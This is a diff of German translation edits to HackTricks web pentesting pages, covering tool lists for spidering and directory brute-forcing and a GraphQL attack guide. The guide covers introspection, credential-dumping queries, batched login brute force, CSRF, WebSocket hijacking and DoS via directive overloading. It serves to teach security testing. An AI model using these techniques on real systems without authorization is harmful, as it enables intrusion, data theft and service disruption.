 - **Fügen Sie "\[]", "]]" und "\[\["** in **Cookie-Werte** und **Parameterwerte** ein, um Fehler zu erzeugen
 - Generieren Sie einen Fehler, indem Sie als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** angeben
 - Versuchen Sie **verschiedene HTTP-Methoden** wie PATCH, DEBUG oder falsche wie FAKE
@@ -180,8 +180,8 @@ Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über
 
 ### **SSL/TLS-Schwachstellen**
 
-- Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** zu verwenden, ist sie **anfällig für MitM**
-- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist dies eine hohe Schwachstelle.
+- Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** in irgendeinem Teil zu verwenden, ist sie **anfällig für MitM**
+- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist das eine hohe Schwachstelle.
 
 Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (In Bug-Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
 ```bash
@@ -206,32 +206,32 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML-Spider, zeigt auch "saftige Dateien" an.
 - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI HTML-Spider. Es sucht auch in Archive.org.
 - [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein Spider, kann aber nützlich sein. Sie können einfach eine Datei mit Hosts und eine Datei mit Pfaden angeben, und meg wird jeden Pfad auf jedem Host abrufen und die Antwort speichern.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML-Spider mit JS-Rendering-Fähigkeiten. Es scheint jedoch unwartbar zu sein, die vorcompilierte Version ist alt und der aktuelle Code kompiliert nicht.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML-Spider mit JS-Rendering-Fähigkeiten. Es scheint jedoch, dass es nicht mehr gewartet wird, die vorcompilierte Version ist alt und der aktuelle Code kompiliert nicht.
 - [**gau**](https://github.com/lc/gau) (go): HTML-Spider, der externe Anbieter (wayback, otx, commoncrawl) nutzt.
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Skript findet URLs mit Parametern und listet sie auf.
 - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML-Spider mit JS-Rendering-Fähigkeiten.
 - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML-Spider, mit JS-Beautify-Fähigkeiten, die in JS-Dateien nach neuen Pfaden suchen können. Es könnte sich auch lohnen, einen Blick auf [JSScanner](https://github.com/dark-warlord14/JSScanner) zu werfen, das ein Wrapper von LinkFinder ist.
 - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Um Endpunkte sowohl im HTML-Quellcode als auch in eingebetteten JavaScript-Dateien zu extrahieren. Nützlich für Bug-Jäger, Red-Teamer, Infosec-Ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7-Skript, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich, um AJAX-Anfragen leicht zu entdecken. Sieht unwartbar aus.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegeben eine Datei (HTML) wird es URLs daraus extrahieren, indem es raffinierte reguläre Ausdrücke verwendet, um die relativen URLs aus hässlichen (minifizierten) Dateien zu finden und zu extrahieren.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7-Skript, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich, um AJAX-Anfragen leicht zu entdecken. Sieht unwartet aus.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gibt eine Datei (HTML) an, aus der es URLs extrahiert, indem es raffinierte reguläre Ausdrücke verwendet, um die relativen URLs aus hässlichen (minifizierten) Dateien zu finden und zu extrahieren.
 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Interessante Informationen aus JS-Dateien mit mehreren Tools sammeln.
 - [**subjs**](https://github.com/lc/subjs) (go): JS-Dateien finden.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laden Sie eine Seite in einem headless Browser und drucken Sie alle URLs aus, die zum Laden der Seite geladen wurden.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die zum Laden der Seite geladen wurden.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhaltserkennungstool, das mehrere Optionen der vorherigen Tools kombiniert.
 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Erweiterung, um Pfade und Parameter in JS-Dateien zu finden.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das Ihnen den beautifizierten JS-Code gibt, wenn Sie die .js.map-URL angeben.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das die .js.map-URL angibt und Ihnen den beautifizierten JS-Code liefert.
 - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dies ist ein Tool, das verwendet wird, um Endpunkte für ein bestimmtes Ziel zu entdecken.
 - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdecken Sie Links von der Wayback-Maschine (auch die Antworten in der Wayback herunterladen und nach weiteren Links suchen).
 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlen (auch durch Ausfüllen von Formularen) und auch sensible Informationen mit spezifischen Regexen finden.
 - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multifunktionaler GUI-Websicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde.
 - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode.
 - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um **Parameter und Endpunkte** aus der Anfrage zu extrahieren, um benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
-- [**katana**](https://github.com/projectdiscovery/katana) (go): Tolle Tool dafür.
-- [**Crawley**](https://github.com/s0rg/crawley) (go): Drucken Sie jeden Link aus, den es finden kann.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
+- [**Crawley**](https://github.com/s0rg/crawley) (go): Druckt jeden Link, den es finden kann.
 
-### Brute Force-Verzeichnisse und -Dateien
+### Brute Force Verzeichnisse und Dateien
 
-Beginnen Sie mit dem **Brute-Forcing** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen **entdecken**, die durch das **Spidering** gefunden wurden (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
+Beginnen Sie mit dem **Brute-Forcing** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen **entdecken**, die durch das **Spidering** **entdeckt** wurden (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
 Tools:
 
 - **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Erlaubt automatisch signierte Zertifikate und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
@@ -242,7 +242,7 @@ Tools:
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Schnell: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
 - [**uro**](https://github.com/s0md3v/uro) (python): Dies ist kein Spider, sondern ein Tool, das eine Liste gefundener URLs verwendet, um "duplizierte" URLs zu löschen.
 - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-Erweiterung zur Erstellung einer Liste von Verzeichnissen aus der Burp-Historie verschiedener Seiten.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernen Sie URLs mit duplizierten Funktionen (basierend auf JS-Imports).
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit duplizierten Funktionen (basierend auf JS-Imports).
 - [**Chamaleon**](https://github.com/iustin24/chameleon): Es verwendet Wappalyzer, um verwendete Technologien zu erkennen und die zu verwendenden Wortlisten auszuwählen.
 
 **Empfohlene Wörterbücher:**
@@ -250,7 +250,7 @@ Tools:
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** enthaltenes Wörterbuch](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
 - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
-- [Assetnote-Wortlisten](https://wordlists.assetnote.io)
+- [Assetnote Wortlisten](https://wordlists.assetnote.io)
 - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
 - raft-large-directories-lowercase.txt
 - directory-list-2.3-medium.txt
@@ -276,10 +276,10 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 - **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionen** finden.
-- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (unter Verwendung von **Hunderte** von **Leerzeichen**, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
+- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **Hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
 - **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die angibt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
 - Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann.
-- **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/).
+- **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html).
 
 ### Besondere Funde
 
@@ -288,17 +288,17 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
 **Interessante Dateien**
 
 - Suchen Sie nach **Links** zu anderen Dateien in den **CSS**-Dateien.
-- [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md)
+- [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md).
 - Wenn Sie eine _**.env**_-Datei finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden.
 - Wenn Sie **API-Endpunkte** finden, [sollten Sie diese ebenfalls testen](web-api-pentesting.md). Diese sind keine Dateien, sehen aber wahrscheinlich "so aus".
 - **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
 - Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um herauszufinden, ob sie anfällig sind.
-- **Javascript-Deobfuscator und -Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
-- **Javascript-Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
+- **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
+- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck-Deobfuskation** (Javascript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
-- Sie könnten auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung im Parameter oder das Auftreten eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen könnte.
+- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex).
+- Sie könnten auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung im Parameter oder das Auftreten eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (Umgehung)**
 
@@ -308,7 +308,7 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
 
 **502 Proxy-Fehler**
 
-Wenn eine Seite mit diesem **Code** **antwortet**, handelt es sich wahrscheinlich um einen **schlecht konfigurierten Proxy**. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern) senden, wird der **Proxy** versuchen, auf _**google.com**_ zuzugreifen, und Sie haben eine **SSRF** gefunden.
+Wenn eine Seite mit diesem **Code** **antwortet**, handelt es sich wahrscheinlich um einen **schlecht konfigurierten Proxy**. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern) senden, wird der **Proxy** versuchen, auf _**google.com**_ **zuzugreifen**, und Sie haben eine **SSRF** gefunden.
 
 **NTLM-Authentifizierung - Informationsoffenlegung**
 
@@ -318,7 +318,7 @@ Sie können dies mit dem **nmap-Plugin** "_http-ntlm-info.nse_" **automatisieren
 
 **HTTP-Weiterleitung (CTF)**
 
-Es ist möglich, **Inhalte** in eine **Weiterleitung** einzufügen. Diese Inhalte **werden dem Benutzer nicht angezeigt** (da der Browser die Weiterleitung ausführt), aber etwas könnte dort **versteckt** sein.
+Es ist möglich, **Inhalte** in eine **Weiterleitung** einzufügen. Diese Inhalte **werden dem Benutzer nicht angezeigt** (da der Browser die Weiterleitung ausführt), aber es könnte etwas **versteckt** sein.
 
 ### Überprüfung von Web-Sicherheitsanfälligkeiten
 

src/network-services-pentesting/pentesting-web/flask.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Wahrscheinlich wird eine Flask-Anwendung, wenn Sie an einem CTF teilnehmen, mit** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)** verbunden sein.**
+**Wahrscheinlich wird eine Flask-Anwendung, wenn Sie an einem CTF teilnehmen, mit** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)** verbunden sein.**
 
 ## Cookies
 

src/network-services-pentesting/pentesting-web/graphql.md

@@ -12,7 +12,7 @@ Mit dem Aufkommen neuer Technologien, einschließlich GraphQL, entstehen auch ne
 
 ### Verzeichnis-Brute-Force-Angriffe und GraphQL
 
-Um exponierte GraphQL-Instanzen zu identifizieren, wird empfohlen, spezifische Pfade in Verzeichnis-Brute-Force-Angriffen einzubeziehen. Diese Pfade sind:
+Um exponierte GraphQL-Instanzen zu identifizieren, wird empfohlen, spezifische Pfade in Verzeichnis-Brute-Force-Angriffen einzuschließen. Diese Pfade sind:
 
 - `/graphql`
 - `/graphiql`
@@ -23,11 +23,11 @@ Um exponierte GraphQL-Instanzen zu identifizieren, wird empfohlen, spezifische P
 - `/graphql/api`
 - `/graphql/graphql`
 
-Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung der unterstützten Abfragen. Dies ist entscheidend für das Verständnis der über den Endpunkt zugänglichen Daten. Das Introspektionssystem von GraphQL erleichtert dies, indem es die Abfragen detailliert, die ein Schema unterstützt. Für weitere Informationen hierzu siehe die GraphQL-Dokumentation zur Introspektion: [**GraphQL: Eine Abfragesprache für APIs.**](https://graphql.org/learn/introspection/)
+Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung der unterstützten Abfragen. Dies ist entscheidend, um die über den Endpunkt zugänglichen Daten zu verstehen. Das Introspektionssystem von GraphQL erleichtert dies, indem es die Abfragen detailliert, die ein Schema unterstützt. Für weitere Informationen dazu siehe die GraphQL-Dokumentation zur Introspektion: [**GraphQL: Eine Abfragesprache für APIs.**](https://graphql.org/learn/introspection/)
 
 ### Fingerabdruck
 
-Das Tool [**graphw00f**](https://github.com/dolevf/graphw00f) kann erkennen, welcher GraphQL-Engine auf einem Server verwendet wird, und druckt dann einige hilfreiche Informationen für den Sicherheitsprüfer aus.
+Das Tool [**graphw00f**](https://github.com/dolevf/graphw00f) kann erkennen, welcher GraphQL-Engine auf einem Server verwendet wird, und gibt dann einige hilfreiche Informationen für den Sicherheitsprüfer aus.
 
 #### Universelle Abfragen <a href="#universal-queries" id="universal-queries"></a>
 
@@ -41,7 +41,7 @@ Graphql unterstützt normalerweise **GET**, **POST** (x-www-form-urlencoded) und
 
 #### Introspektion
 
-Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, fragen Sie das `__schema`-Feld ab. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.
+Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, abfragen Sie das `__schema`-Feld. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.
 ```bash
 query={__schema{types{name,fields{name}}}}
 ```
@@ -184,15 +184,15 @@ Sie können sehen, dass die "_Flags_"-Objekte aus **name** und **value** bestehe
 ```javascript
 query={flags{name, value}}
 ```
-Beachten Sie, dass im Falle, dass das **Objekt, das abgefragt werden soll**, ein **primitiver** **Typ** wie **string** ist, wie im folgenden Beispiel
+Beachten Sie, dass Sie im Falle, dass der **zu abfragende Objekt** ein **primitives** **Typ** wie **string** ist, wie im folgenden Beispiel
 
 ![](<../../images/image (958).png>)
 
-Sie können es einfach mit abfragen:
+einfach abfragen können mit:
 ```javascript
 query = { hiddenFlags }
 ```
-In einem anderen Beispiel, in dem es 2 Objekte im "_Query_" Typobjekt gab: "_user_" und "_users_".\
+In einem anderen Beispiel gab es 2 Objekte im "_Query_" Typ Objekt: "_user_" und "_users_".\
 Wenn diese Objekte keine Argumente benötigen, um zu suchen, könnte man **alle Informationen von ihnen abrufen**, indem man einfach nach den gewünschten Daten fragt. In diesem Beispiel aus dem Internet könnte man die gespeicherten Benutzernamen und Passwörter extrahieren:
 
 ![](<../../images/image (880).png>)
@@ -215,13 +215,13 @@ Beachte, dass ich **entdeckt** habe, dass ich nach den **Parametern** "_**user**
 
 ![](<../../images/image (707).png>)
 
-Und während der **Enumeration-Phase** entdeckte ich, dass das "_**dbuser**_" Objekt die Felder "_**user**_" und "_**password**_" hatte.
+Und während der **Enumeration-Phase** entdeckte ich, dass das Objekt "_**dbuser**_" die Felder "_**user**_" und "_**password**_" hatte.
 
 **Query-String-Dump-Trick (danke an @BinaryShadow\_)**
 
-Wenn du nach einem String-Typ suchen kannst, wie: `query={theusers(description: ""){username,password}}` und du **nach einem leeren String suchst**, wird es **alle Daten dumpen**. (_Beachte, dass dieses Beispiel nicht mit dem Beispiel der Tutorials zusammenhängt, für dieses Beispiel gehe davon aus, dass du mit "**theusers**" nach einem String-Feld namens "**description**" suchen kannst_).
+Wenn du nach einem String-Typ suchen kannst, wie: `query={theusers(description: ""){username,password}}` und du **nach einem leeren String** suchst, wird es **alle Daten dumpen**. (_Beachte, dass dieses Beispiel nicht mit dem Beispiel der Tutorials zusammenhängt, für dieses Beispiel gehe davon aus, dass du mit "**theusers**" nach einem String-Feld namens "**description**" suchen kannst_).
 
-### Suche
+### Suchen
 
 In diesem Setup enthält eine **Datenbank** **Personen** und **Filme**. **Personen** werden durch ihre **E-Mail** und **Namen** identifiziert; **Filme** durch ihren **Namen** und **Bewertung**. **Personen** können Freunde miteinander sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.
 
@@ -233,7 +233,7 @@ email
 }
 }
 ```
-Sie können **Personen** **nach** dem **Namen** **suchen** und ihre **abonnierten** **Filme** erhalten:
+Sie können Personen **nach** dem **Namen** suchen und ihre **abonnierten** **Filme** erhalten:
 ```javascript
 {
 searchPerson(name: "John Doe") {
@@ -285,13 +285,13 @@ name
 
 **Mutationen werden verwendet, um Änderungen auf der Serverseite vorzunehmen.**
 
-In der **Introspektion** finden Sie die **deklarierten** **Mutationen**. In der folgenden Abbildung wird der "_MutationType_" als "_Mutation_" bezeichnet, und das "_Mutation_"-Objekt enthält die Namen der Mutationen (wie "_addPerson_" in diesem Fall):
+In der **Introspektion** können die **deklarierten** **Mutationen** gefunden werden. In der folgenden Abbildung wird der "_MutationType_" als "_Mutation_" bezeichnet und das "_Mutation_"-Objekt enthält die Namen der Mutationen (wie "_addPerson_" in diesem Fall):
 
 ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
 
 In diesem Setup enthält eine **Datenbank** **Personen** und **Filme**. **Personen** werden durch ihre **E-Mail** und **Namen** identifiziert; **Filme** durch ihren **Namen** und **Bewertung**. **Personen** können Freunde miteinander sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.
 
-Eine Mutation zum **Erstellen neuer** Filme in der Datenbank könnte wie folgt aussehen (in diesem Beispiel wird die Mutation `addMovie` genannt):
+Eine Mutation, um **neue** Filme in der Datenbank zu **erstellen**, könnte wie folgt aussehen (in diesem Beispiel wird die Mutation `addMovie` genannt):
 ```javascript
 mutation {
 addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@@ -304,7 +304,7 @@ rating
 ```
 **Beachten Sie, wie sowohl die Werte als auch der Datentyp in der Abfrage angegeben sind.**
 
-Zusätzlich unterstützt die Datenbank eine **Mutation**-Operation, die `addPerson` genannt wird und die Erstellung von **Personen** zusammen mit ihren Verbindungen zu bestehenden **Freunden** und **Filmen** ermöglicht. Es ist wichtig zu beachten, dass die Freunde und Filme bereits in der Datenbank vorhanden sein müssen, bevor sie mit der neu erstellten Person verknüpft werden.
+Zusätzlich unterstützt die Datenbank eine **Mutation**-Operation, die `addPerson` genannt wird, die die Erstellung von **Personen** zusammen mit ihren Verbindungen zu bestehenden **Freunden** und **Filmen** ermöglicht. Es ist wichtig zu beachten, dass die Freunde und Filme bereits in der Datenbank vorhanden sein müssen, bevor sie mit der neu erstellten Person verknüpft werden.
 ```javascript
 mutation {
 addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@@ -334,7 +334,7 @@ releaseYear
 ```
 ### Directive Overloading
 
-Wie in [**einer der Schwachstellen, die in diesem Bericht beschrieben sind**](https://www.landh.tech/blog/20240304-google-hack-50000/) erklärt, bedeutet eine Directive Overloading, dass eine Direktive sogar Millionen von Malen aufgerufen wird, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, ihn DoS zu machen.
+Wie in [**einer der Schwachstellen, die in diesem Bericht beschrieben sind**](https://www.landh.tech/blog/20240304-google-hack-50000/) erklärt, bedeutet Directive Overloading, eine Direktive sogar Millionen von Malen aufzurufen, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, ihn DoS zu setzen.
 
 ### Batching brute-force in 1 API request
 
@@ -345,7 +345,7 @@ Unten finden Sie die einfachste Demonstration einer Anwendungsauthentifizierungs
 
 ![](<../../images/image (1081).png>)
 
-Wie wir aus dem Screenshot der Antwort sehen können, gaben die erste und die dritte Anfrage _null_ zurück und spiegelten die entsprechenden Informationen im _error_-Bereich wider. Die **zweite Mutation hatte die korrekten Authentifizierungs**daten und die Antwort enthält das korrekte Authentifizierungssitzungstoken.
+Wie wir aus dem Screenshot der Antwort sehen können, gaben die erste und die dritte Anfrage _null_ zurück und spiegelten die entsprechenden Informationen im _error_-Bereich wider. Die **zweite Mutation hatte die korrekten Authentifizierungs**daten und die Antwort enthält das korrekte Authentifizierungssession-Token.
 
 ![](<../../images/image (119) (1).png>)
 
@@ -427,13 +427,13 @@ Beachten Sie jedoch, dass der neue Standardwert des Cookie-Werts des `samesite`-
 
 Es ist zu beachten, dass es normalerweise möglich ist, die **Abfrage** **Anfrage** auch als **GET** **Anfrage** zu senden und das CSRF-Token möglicherweise in einer GET-Anfrage nicht validiert wird.
 
-Außerdem könnte es möglich sein, durch den Missbrauch eines [**XS-Search**](../../pentesting-web/xs-search/) **Angriffs** Inhalte vom GraphQL-Endpunkt unter Ausnutzung der Anmeldeinformationen des Benutzers zu exfiltrieren.
+Außerdem könnte es möglich sein, durch den Missbrauch eines [**XS-Search**](../../pentesting-web/xs-search/index.html) **Angriffs** Inhalte vom GraphQL-Endpunkt unter Ausnutzung der Anmeldeinformationen des Benutzers zu exfiltrieren.
 
-Für weitere Informationen **überprüfen Sie den** [**ursprünglichen Beitrag hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
+Für weitere Informationen **überprüfen Sie** [**den ursprünglichen Beitrag hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 
-## Cross-Site-WebSocket-Hijacking in GraphQL
+## Cross-Site WebSocket-Hijacking in GraphQL
 
-Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein **Cross-Site-WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen** und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.
+Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein **Cross-Site WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen** und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.
 
 Für weitere Informationen überprüfen Sie:
 
@@ -445,7 +445,7 @@ Für weitere Informationen überprüfen Sie:
 
 Viele GraphQL-Funktionen, die am Endpunkt definiert sind, überprüfen möglicherweise nur die Authentifizierung des Anforderers, jedoch nicht die Autorisierung.
 
-Die Modifizierung von Abfrageeingabevariablen könnte zu sensiblen Kontodetails [leaken](https://hackerone.com/reports/792927).
+Die Modifizierung von Abfrageeingangsvariablen könnte zu sensiblen Kontodetails [leaken](https://hackerone.com/reports/792927).
 
 Mutation könnte sogar zu einem Account-Übernahmeversuch führen, wenn versucht wird, andere Kontodaten zu ändern.
 ```javascript
@@ -465,13 +465,13 @@ Im folgenden Beispiel sehen Sie, dass die Operation "forgotPassword" ist und das
 
 ## Umgehung von Ratenlimits mit Aliassen in GraphQL
 
